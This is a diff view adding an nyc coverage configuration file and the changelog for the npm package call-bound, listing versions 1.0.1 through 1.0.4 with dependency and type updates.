node_modules/call-bound/.nycrc
ADDED
@@ -0,0 +1,9 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"all": true,
|
3 |
+
"check-coverage": false,
|
4 |
+
"reporter": ["text-summary", "text", "html", "json"],
|
5 |
+
"exclude": [
|
6 |
+
"coverage",
|
7 |
+
"test"
|
8 |
+
]
|
9 |
+
}
|
node_modules/call-bound/CHANGELOG.md
ADDED
@@ -0,0 +1,42 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
# Changelog
|
2 |
+
|
3 |
+
All notable changes to this project will be documented in this file.
|
4 |
+
|
5 |
+
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/)
|
6 |
+
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
7 |
+
|
8 |
+
## [v1.0.4](https://github.com/ljharb/call-bound/compare/v1.0.3...v1.0.4) - 2025-03-03
|
9 |
+
|
10 |
+
### Commits
|
11 |
+
|
12 |
+
- [types] improve types [`e648922`](https://github.com/ljharb/call-bound/commit/e6489222a9e54f350fbf952ceabe51fd8b6027ff)
|
13 |
+
- [Dev Deps] update `@arethetypeswrong/cli`, `@ljharb/tsconfig`, `@types/tape`, `es-value-fixtures`, `for-each`, `has-strict-mode`, `object-inspect` [`a42a5eb`](https://github.com/ljharb/call-bound/commit/a42a5ebe6c1b54fcdc7997c7dc64fdca9e936719)
|
14 |
+
- [Deps] update `call-bind-apply-helpers`, `get-intrinsic` [`f529eac`](https://github.com/ljharb/call-bound/commit/f529eac132404c17156bbc23ab2297a25d0f20b8)
|
15 |
+
|
16 |
+
## [v1.0.3](https://github.com/ljharb/call-bound/compare/v1.0.2...v1.0.3) - 2024-12-15
|
17 |
+
|
18 |
+
### Commits
|
19 |
+
|
20 |
+
- [Refactor] use `call-bind-apply-helpers` instead of `call-bind` [`5e0b134`](https://github.com/ljharb/call-bound/commit/5e0b13496df14fb7d05dae9412f088da8d3f75be)
|
21 |
+
- [Deps] update `get-intrinsic` [`41fc967`](https://github.com/ljharb/call-bound/commit/41fc96732a22c7b7e8f381f93ccc54bb6293be2e)
|
22 |
+
- [readme] fix example [`79a0137`](https://github.com/ljharb/call-bound/commit/79a0137723f7c6d09c9c05452bbf8d5efb5d6e49)
|
23 |
+
- [meta] add `sideEffects` flag [`08b07be`](https://github.com/ljharb/call-bound/commit/08b07be7f1c03f67dc6f3cdaf0906259771859f7)
|
24 |
+
|
25 |
+
## [v1.0.2](https://github.com/ljharb/call-bound/compare/v1.0.1...v1.0.2) - 2024-12-10
|
26 |
+
|
27 |
+
### Commits
|
28 |
+
|
29 |
+
- [Dev Deps] update `@arethetypeswrong/cli`, `@ljharb/tsconfig`, `gopd` [`e6a5ffe`](https://github.com/ljharb/call-bound/commit/e6a5ffe849368fe4f74dfd6cdeca1b9baa39e8d5)
|
30 |
+
- [Deps] update `call-bind`, `get-intrinsic` [`2aeb5b5`](https://github.com/ljharb/call-bound/commit/2aeb5b521dc2b2683d1345c753ea1161de2d1c14)
|
31 |
+
- [types] improve return type [`1a0c9fe`](https://github.com/ljharb/call-bound/commit/1a0c9fe3114471e7ca1f57d104e2efe713bb4871)
|
32 |
+
|
33 |
+
## v1.0.1 - 2024-12-05
|
34 |
+
|
35 |
+
### Commits
|
36 |
+
|
37 |
+
- Initial implementation, tests, readme, types [`6d94121`](https://github.com/ljharb/call-bound/commit/6d94121a9243602e506334069f7a03189fe3363d)
|
38 |
+
- Initial commit [`0eae867`](https://github.com/ljharb/call-bound/commit/0eae867334ea025c33e6e91cdecfc9df96680cf9)
|
39 |
+
- npm init [`71b2479`](https://github.com/ljharb/call-bound/commit/71b2479c6723e0b7d91a6b663613067e98b7b275)
|
40 |
+
- Only apps should have lockfiles [`c3754a9`](https://github.com/ljharb/call-bound/commit/c3754a949b7f9132b47e2d18c1729889736741eb)
|
41 |
+
- [actions] skip `npm ls` in node < 10 [`74275a5`](https://github.com/ljharb/call-bound/commit/74275a5186b8caf6309b6b97472bdcb0df4683a8)
|
42 |
+
- [Dev Deps] add missing peer dep [`1354de8`](https://github.com/ljharb/call-bound/commit/1354de8679413e4ae9c523d85f76fa7a5e032d97)
|